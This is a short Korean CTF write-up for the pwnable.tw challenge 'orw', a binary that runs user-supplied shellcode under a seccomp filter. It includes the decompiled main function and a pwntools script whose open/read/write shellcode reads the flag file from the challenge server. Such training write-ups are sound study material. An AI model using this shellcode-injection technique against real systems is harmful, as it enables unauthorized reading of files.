[pwnable.tw]orw
HITCON-Training에서 풀었었는데 거기서 나온 문제랑 똑같은 문제이다.
seccomp가 사용되서 open,read,write 빼고 다른 syscall은 사용할 수 없다.
/home/orw/flag
파일을 읽어오면 된다고 한다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 200u);
(shellcode)();
return 0;
}
코드를 보면 내가 입력한 shellcode를 실행해준다.
그냥 shellcoding해주면 된다.
- stack 최상위에 저 문자열을 넣어준다.
- esp는 스택의 최상단 데이터를 가르키는 포인터니까 /home/orw/flag를 open()해준다.
- open()을 실행했으니 fd값이 eax에 담겨있을 것이다. 그리고 esp(/home/orw/flag)를 100바이트만큼 읽어은걸 esp에 저장한다.
- write() 함수로 stdout으로 esp(읽은 파일의 내용)의 내용을 출력해준다.
from pwn import *
p = remote('chall.pwnable.tw',10001)
pay = asm(shellcraft.pushstr('/home/orw/flag'))
pay += asm(shellcraft.open('esp',0,0))
pay += asm(shellcraft.read('eax','esp','100'))
pay += asm(shellcraft.write('1','esp','100'))
p.sendlineafter(':',pay)
p.interactive()